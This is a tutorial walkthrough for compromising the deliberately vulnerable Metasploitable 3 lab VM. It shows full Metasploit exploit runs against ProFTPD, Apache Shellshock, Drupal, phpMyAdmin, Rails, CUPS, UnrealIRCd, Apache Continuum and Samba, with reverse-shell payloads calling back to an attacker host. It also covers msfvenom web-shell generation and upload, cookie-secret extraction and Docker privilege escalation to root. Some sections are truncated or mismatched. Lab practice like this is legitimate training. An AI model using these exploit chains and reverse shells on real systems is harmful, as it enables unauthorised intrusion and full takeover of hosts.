TUTORIAL RED TEAM AREA (GENERAL)

Metasploitable-3

Source: https://stuffwithaurum.com

The Metasploitable virtual machine is an intentionally vulnerable image designed for testing security tools and demonstrating common vulnerabilities. Version 3 of this virtual machine is available in both Ubuntu and Windows forms. They can be set up using Vagrant and are available on GitHub ↗ and ship with even more vulnerabilities than Metasploitable 1 and 2. The virtual machines are compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable's network interfaces are bound to the "private network" configuration in Vagrant (VirtualBox users may need to change this to NAT Network), and the images should never be exposed to a hostile network.

nmap Scan

A preliminary nmap ↗ scan reveals a few services.

```
kali@kali:~$ sudo nmap -sV -O 10.0.2.15 -p0-65535
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-11 20:33 EDT
Nmap scan report for 10.0.2.15
Host is up (0.00020s latency).
Not shown: 65526 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux;
protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open irc UnrealIRCd
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 08:00:27:48:64:BF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.1.1, UBUNTU, irc.TestIRC.net; OSs:
Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.78 seconds
```

ProFTPD

The ProFTPD service running on the system has a remote code execution vulnerability which can be exploited using the ProFTPD 1.3.5 Mod_Copy Command Execution ↗ module.

```
msf5 > use exploit/unix/ftp/proftpd_modcopy_exec
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15        yes       The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html/   yes       Absolute writable website
path
   SSL        false            no        Negotiate SSL/TLS for
outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   ProFTPD 1.3.5
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.15:80 - 10.0.2.15:21 - Connected to FTP server
[*] 10.0.2.15:80 - 10.0.2.15:21 - Sending copy commands to FTP
server
[*] 10.0.2.15:80 - Executing PHP payload /VQVH3.php
[*] Command shell session 2 opened (10.0.2.4:4444 ->
10.0.2.15:36318) at 2020-04-11 22:34:17 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Apache HTTP Server

The Apache web application running on the system has a remote code execution vulnerability which can be exploited using the Apache mod_cgi Bash Environment

Variable Code Injection (Shellshock) ↗ module.

```
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show
options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
   Name            Current Setting          Required  Description
   ----            ---------------          --------  -----------
   CMD_MAX_LENGTH  2048                     yes       CMD max line
length
   CVE             CVE-2014-6271            yes       CVE to
check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent               yes       HTTP header
to use
   METHOD          GET                      yes       HTTP method
to use
   Proxies                                  no        A proxy
chain of format type:host:port[,type:host:port][...]
   RHOSTS          10.0.2.15                yes       The target
host(s), range CIDR identifier, or hosts file with syntax 'file:
<path>'
   RPATH           /bin                     yes       Target PATH
for binaries used by the CmdStager
   RPORT           80                       yes       The target
port (TCP)
   SRVHOST         0.0.0.0                  yes       The local
host to listen on. This must be an address on the local machine or
0.0.0.0
   SRVPORT         8080                     yes       The local
port to listen on.
   SSL             false                    no        Negotiate
SSL/TLS for outgoing connections
   SSLCert                                  no        Path to a
custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/hello_world.sh  yes       Path to CGI
script
   TIMEOUT         5                        yes       HTTP read
response timeout (seconds)
   URIPATH                                  no        The URI to
use for this exploit (default is random)
   VHOST                                    no        HTTP server
virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
```

```
   --  ----
   0   Linux x86
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (980808 bytes) to 10.0.2.15
[*] Meterpreter session 5 opened (10.0.2.4:4444 ->
10.0.2.15:43025) at 2020-04-16 18:45:22 -0400
```

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp
LHOST=10.0.2.4 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP
from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
```

Next, upload it through Apache WebDAV.

```
kali@kali:~$ curl -X PUT -d @/home/kali/backdoor.php
10.0.2.15/uploads/backdoor.php
```

And trigger it by requesting the file through the webserver. Make sure to have a handler running to catch the shell!

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 7 opened (10.0.2.4:4444 ->
10.0.2.15:43129) at 2020-04-16 20:26:01 -0400
meterpreter > getuid
Server username: www-data (33)
```

```
kali@kali:~$ curl 10.0.2.15/uploads/backdoor.php
```

Drupal

The Drupal web application running on the system has a remote code execution vulnerability which can be exploited using the Drupal HTTP Parameter Key/Value SQL Injection (Drupageddon) ↗ module.

```
msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15/32     yes       The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for
outgoing connections
   TARGETURI  /drupal/         yes       The target URI of the
Drupal installation
   VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)
msf5 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 3 opened (10.0.2.4:4444 ->
10.0.2.15:36396) at 2020-04-11 23:18:44 -0400
meterpreter > getuid
Server username: www-data (33)
```

phpMyAdmin

The phpMyAdmin web application running on the system has a remote code execution vulnerability which can be exploited using the phpMyAdmin Authenticated Remote Code Execution via preg_replace() ↗ module.

```
msf5 > use exploit/multi/http/phpmyadmin_preg_replace
msf5 exploit(multi/http/phpmyadmin_preg_replace) > show options
Module options (exploit/multi/http/phpmyadmin_preg_replace):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   sploitme         no        Password to authenticate
with
   Proxies                     no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS     10.0.2.15        yes       The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for
outgoing connections
   TARGETURI  /phpmyadmin/     yes       Base phpMyAdmin directory
path
   USERNAME   root             yes       Username to authenticate
with
   VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/phpmyadmin_preg_replace) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] phpMyAdmin version: 3.5.8
[*] The target appears to be vulnerable.
[*] Grabbing CSRF token...
[+] Retrieved token
[*] Authenticating...
[+] Authentication successful
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 5 opened (10.0.2.4:4444 ->
10.0.2.15:36448) at 2020-04-11 23:43:33 -0400
meterpreter > getuid
Server username: www-data (33)
```

Ruby on Rails

The Ruby on Rails web application running on the system at port 3500 has a remote code execution vulnerability which can be exploited using the Ruby on Rails ActionPack Inline ERB Code Execution ↗ module.

```
msf5 > use exploit/multi/http/rails_actionpack_inline_exec
msf5 exploit(multi/http/rails_actionpack_inline_exec) > show
options
Module options (exploit/multi/http/rails_actionpack_inline_exec):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS       10.0.2.15        yes       The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        3500             yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for
outgoing connections
   TARGETPARAM  os               yes       The target parameter to
inject with inline code
   TARGETURI    /readme          yes       The path to a
vulnerable Ruby on Rails application
   VHOST                         no        HTTP server virtual
host
Payload options (ruby/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/rails_actionpack_inline_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Sending inline code to parameter: os
[*] Command shell session 7 opened (10.0.2.4:4444 ->
10.0.2.15:37195) at 2020-04-12 12:40:00 -0400
id
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)
```

The Ruby on Rails web application running on the system at port 8181 has a remote code execution vulnerability which can be exploited using the Ruby on Rails Known Secret Session Cookie Remote Code Execution ↗ module.

This exploit does require knowledge of the secret used to sign the session cookie. However, the web server conveniently sends us the secret in the `Set-Cookie` header.

```
kali@kali:~$ curl -v 10.0.2.15:8181 | grep 'Set-Cookie'
*   Trying 10.0.2.15:8181...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time
Time  Current
                                 Dload  Upload   Total   Spent
Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- -
-:--:--     0* Connected to 10.0.2.15 (10.0.2.15) port 8181 (#0)
> GET / HTTP/1.1
> Host: 10.0.2.15:8181
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 132
< X-Xss-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Server: WEBrick/1.3.1 (Ruby/2.3.7/2018-03-28)
< Date: Wed, 15 Apr 2020 23:30:23 GMT
< Connection: Keep-Alive
< Set-Cookie:
_metasploitable=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTlmNTZiNjA1MDM3M2
VjYWZlZDBi%0AMTFlMDNkYTdiYWY4YjRiOGQ5NDAzY2ViNTA0MzUxNzYzNzQwYmIyZ
GM1MDkG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGhoaCwgZG9uJ3Qg
dGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3YmJhMGV
l%0ANGU2NGY5NDc0MTVhOTRlNWYGOwBU%0A--
fa2c7c622c1e4d24497193bac55e9bbbc2e1fe39; path=/; expires=Thu, 16
Apr 2020 00:00:23 -0000; HttpOnly
<
{ [132 bytes data]
100   132  100   132    0     0  66000      0 --:--:-- --:--:-- -
-:--:-- 66000
* Connection #0 to host 10.0.2.15 left intact
```

The cookie can be decoded to fetch the signing secret by URL decoding it and then base64 decoding it after separating the signature part (the stuff after the –).

```
kali@kali:~$ python -c "import urllib as ul;
print(ul.unquote_plus('BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTlmNTZiNjA
1MDM3M2VjYWZlZDBi%0AMTFlMDNkYTdiYWY4YjRiOGQ5NDAzY2ViNTA0MzUxNzYzNz
QwYmIyZGM1MDkG%0AOwBGSSIUX21ldGFzcGxvaXRhYmxlBjsAVEkiVFNoaGhoaCwgZ
G9uJ3QgdGVs%0AbCBhbnlib2R5IHRoaXMgY29va2llIHNlY3JldDogYTdhZWJjMjg3
YmJhMGVl%0ANGU2NGY5NDc0MTVhOTRlNWYGOwBU%0A--
fa2c7c622c1e4d24497193bac55e9bbbc2e1fe39').split('--')[0]);" |
base64 -d
{I"session_id:ETI"E9f56b6050373ecafed0b11e03da7baf8b4b8d9403ceb504
351763740bb2dc509;FI"_metasploitable;TI"TShhhhh, don't tell
anybody this cookie secret: a7aebc287bba0ee4e64f947415a94e5f;T
```

Now that we have the secret `a7aebc287bba0ee4e64f947415a94e5f`, we can use it to get our shell!

```
msf5 > use exploit/multi/http/rails_actionpack_inline_exec
msf5 exploit(multi/http/rails_secret_deserialization) > show
options
Module options (exploit/multi/http/rails_secret_deserialization):
   Name             Current Setting                    Required
Description
   ----             ---------------                    --------  --
---------
   COOKIE_NAME      _metasploitable                    no
The name of the session cookie
   DIGEST_NAME      SHA1                               yes
The digest type used to HMAC the session cookie
   HTTP_METHOD      GET                                yes
The HTTP request method (GET, POST, PUT typically work)
   Proxies                                             no        A
proxy chain of format type:host:port[,type:host:port][...]
   RAILSVERSION     3                                  yes
The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
   RHOSTS           10.0.2.15                          yes
The target host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT            8181                               yes
The target port (TCP)
   SALTENC          encrypted cookie                   yes
The encrypted cookie salt
   SALTSIG          signed encrypted cookie            yes
The signed encrypted cookie salt
   SECRET           a7aebc287bba0ee4e64f947415a94e5f   yes
The secret_token (Rails3) or secret_key_base (Rails4) of the
application (needed to sign the cookie)
   SSL              false                              no
Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                                  yes
The path to a vulnerable Ruby on Rails application
   VALIDATE_COOKIE  true                               no
Only send the payload if the session cookie is validated
   VHOST                                               no
HTTP server virtual host
Payload options (ruby/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
```

```
msf5 exploit(multi/http/rails_secret_deserialization) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Checking for cookie _metasploitable
[*] Found cookie, now checking for proper SECRET
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _metasploitable
[*] Command shell session 3 opened (10.0.2.4:4444 ->
10.0.2.15:36254) at 2020-04-15 19:26:00 -0400
id
uid=0(root) gid=0(root) groups=0(root)
```

CUPS

not work on a default configuration. You will need to add the `vagrant` user to the `lpadmin` group to get this to work by running the below command as root on the Metasploitable box first.

```
root@metasploitable3-ub1404:/home/vagrant# usermod -a -G lpadmin
vagrant
```

```
msf5 > use exploit/multi/http/cups_bash_env_exec
msf5 exploit(multi/http/cups_bash_env_exec) > show options
Module options (exploit/multi/http/cups_bash_env_exec):
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CVE           CVE-2014-6271    yes       CVE to exploit
(Accepted: CVE-2014-6271, CVE-2014-6278)
   HttpPassword  vagrant          yes       CUPS user password
   HttpUsername  vagrant          yes       CUPS username
   Proxies                        no        A proxy chain of
format type:host:port[,type:host:port][...]
   RHOSTS        10.0.2.15        yes       The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH         /bin             yes       Target PATH for
binaries
   RPORT         631              yes       The target port (TCP)
   SSL           true             yes       Use SSL
   VHOST                          no        HTTP server virtual
host
Payload options (cmd/unix/reverse_ruby_ssl):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf5 exploit(multi/http/cups_bash_env_exec) > run
[*] Started reverse SSL handler on 10.0.2.4:4444
[+] Added printer successfully
[+] Deleted printer 'CNtAM2hsz6XXg' successfully
[*] Command shell session 6 opened (10.0.2.4:4444 ->
10.0.2.15:43043) at 2020-04-16 18:55:15 -0400
id
uid=7(lp) gid=7(lp) groups=7(lp)
```

Unreal IRCd

The Unreal IRCd application running on the system has a remote code execution vulnerability which can be exploited using the UnrealIRCD 3.2.8.1 Backdoor Command Execution ↗ module.

```
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.2.15        yes       The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6697             yes       The target port (TCP)
Payload options (cmd/unix/reverse):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Target
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.0.2.4:4444
[*] 10.0.2.15:6697 - Connected to 10.0.2.15:6697...
    :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.2.15:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo WLPTgOfxOWQqTkwI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "WLPTgOfxOWQqTkwI\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 9 opened (10.0.2.4:4444 ->
10.0.2.15:37212) at 2020-04-12 12:48:26 -0400
id
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
```

Apache Continuum

The Apache Continuum application running on the system has a remote code execution vulnerability which can be exploited using the Apache Continuum Arbitrary Command Execution ↗ module.

Note that this vulnerability is currently not exploitable due a configuration issue ↗ in the iptables rules. This can be resolved by updating the iptables rules as shown below.

```
root@metasploitable3-ub1404:/home/vagrant# iptables-save >
/tmp/ipt.txt
root@metasploitable3-ub1404:/home/vagrant# cat /tmp/ipt.txt
# Generated by iptables-save v1.4.21 on Thu Apr 16 23:45:56 2020
*nat
:PREROUTING ACCEPT [6:360]
:INPUT ACCEPT [6:360]
:OUTPUT ACCEPT [196:29690]
:POSTROUTING ACCEPT [196:29690]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
COMMIT
# Completed on Thu Apr 16 23:45:56 2020
# Generated by iptables-save v1.4.21 on Thu Apr 16 23:45:56 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [19483:4986198]
:DOCKER - [0:0]
:DOCKER-ISOLATION-STAGE-1 - [0:0]
:DOCKER-ISOLATION-STAGE-2 - [0:0]
:DOCKER-USER - [0:0]
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 6697 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3500 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8181 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 445 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 32000 -j ACCEPT (Add this line)
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT (Add this line
also))
-A INPUT -j DROP
-A FORWARD -j DOCKER-USER
-A FORWARD -j DOCKER-ISOLATION-STAGE-1
-A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -
j ACCEPT
-A FORWARD -o docker0 -j DOCKER
-A FORWARD -i docker0 ! -o docker0 -j ACCEPT
-A FORWARD -i docker0 -o docker0 -j ACCEPT
```

```
-A DOCKER-ISOLATION-STAGE-1 -i docker0 ! -o docker0 -j DOCKER-
```

```
msf5 > use exploit/linux/http/apache_continuum_cmd_exec
msf5 exploit(linux/http/apache_continuum_cmd_exec) > show options
Module options (exploit/linux/http/apache_continuum_cmd_exec):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS   10.0.2.15        yes       The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    8080             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen
on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen
on.
   SSL      false            no        Negotiate SSL/TLS for
outgoing connections
   SSLCert                   no        Path to a custom SSL
certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this
exploit (default is random)
   VHOST                     no        HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Apache Continuum <= 1.4.2
msf5 exploit(linux/http/apache_continuum_cmd_exec) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Injecting CmdStager payload...
[*] Sending stage (985320 bytes) to 10.0.2.15
[*] Meterpreter session 10 opened (10.0.2.4:4444 ->
10.0.2.15:49126) at 2020-04-12 23:47:16 -0400
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

Docker Daemon Local Privilege Escalation

The Docker daemon running on the system exposes an unprotected TCP sockets that allows a local privilege escalation vulnerability which can be exploited using the Docker Daemon – Unprotected TCP Socket Exploit ↗ module.

This exploit requires a session running as a user in the docker group. The Metasploitable 3 configuration ↗ adds the users `boba_fett, jabba_hutt, greedo and chewbacca` to the docker group.

The exploit for Unreal IRCd mentioned above would be a good candidate for obtaining the session as Unreal IRCd is running as the `boba_fett` user. This exploit would require that the Unreal IRCd exploit was used with the `cmd/unix/reverse_perl` payload.

```
msf5 > use exploit/linux/local/docker_daemon_privilege_escalation
msf5 exploit(linux/local/docker_daemon_privilege_escalation) >
show options
Module options
(exploit/linux/local/docker_daemon_privilege_escalation):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  13               yes       The session to run this
module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(linux/local/docker_daemon_privilege_escalation) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 10.0.2.4:4444
[+] Docker daemon is accessible.
[*] Writing payload executable to '/tmp/nvqcVNIodyb'
[*] Executing script to create and run docker container
[*] Waiting 60s for payload
[*] Sending stage (985320 bytes) to 10.0.2.15
[*] Meterpreter session 14 opened (10.0.2.4:4444 ->
10.0.2.15:49185) at 2020-04-13 00:46:33 -0400
meterpreter > getuid
Server username: uid=1121, gid=100, euid=0, egid=100
```

Samba

The Samba application hosts a share accessible by the `chewbacca` user. The share just happens to be mapped to the `/var/www/html/` location on the Metasploitable 3 machine, allowing you to upload a web shell to gain access to the system.

First step would be to generate a web shell.

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp
LHOST=10.0.2.4 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP
from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
```

Next, upload it through the samba share.

```
msf5 > use auxiliary/admin/smb/upload_file
msf5 auxiliary(admin/smb/upload_file) > show options
Module options (auxiliary/admin/smb/upload_file):
   Name         Current Setting          Required  Description
   ----         ---------------          --------  -----------
   FILE_LPATHS                           no        A file
containing a list of local files to utilize
   FILE_RPATHS                           no        A file
containing a list remote files relative to the share to operate on
   LPATH        /home/kali/backdoor.php  no        The path of the
local file to utilize
   RHOSTS       10.0.2.15                yes       The target
host(s), range CIDR identifier, or hosts file with syntax 'file:
<path>'
   RPATH        backdoor.php             no        The name of the
remote file relative to the share to operate on
   RPORT        445                      yes       The SMB service
port (TCP)
   SMBDomain    .                        no        The Windows
domain to use for authentication
   SMBPass      rwaaaaawr5               no        The password
for the specified username
   SMBSHARE     public                   yes       The name of a
writeable share on the server
   SMBUser      chewbacca                no        The username to
authenticate as
   THREADS      1                        yes       The number of
concurrent threads (max one per host)
msf5 auxiliary(admin/smb/upload_file) > run
[+] 10.0.2.15:445         - /home/kali/backdoor.php uploaded to
backdoor.php
[*] 10.0.2.15:445         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

And trigger it by requesting the file through the webserver. Make sure to have a handler running to catch the shell!

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an
interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 10.0.2.15
[*] Meterpreter session 4 opened (10.0.2.4:4444 ->
10.0.2.15:36312) at 2020-04-15 20:28:46 -0400
meterpreter > getuid
Server username: www-data (33)
```

```
kali@kali:~$ curl 10.0.2.15/backdoor.php
```

Previous
Metasploitable-2

Next
Linux Privilege Escalation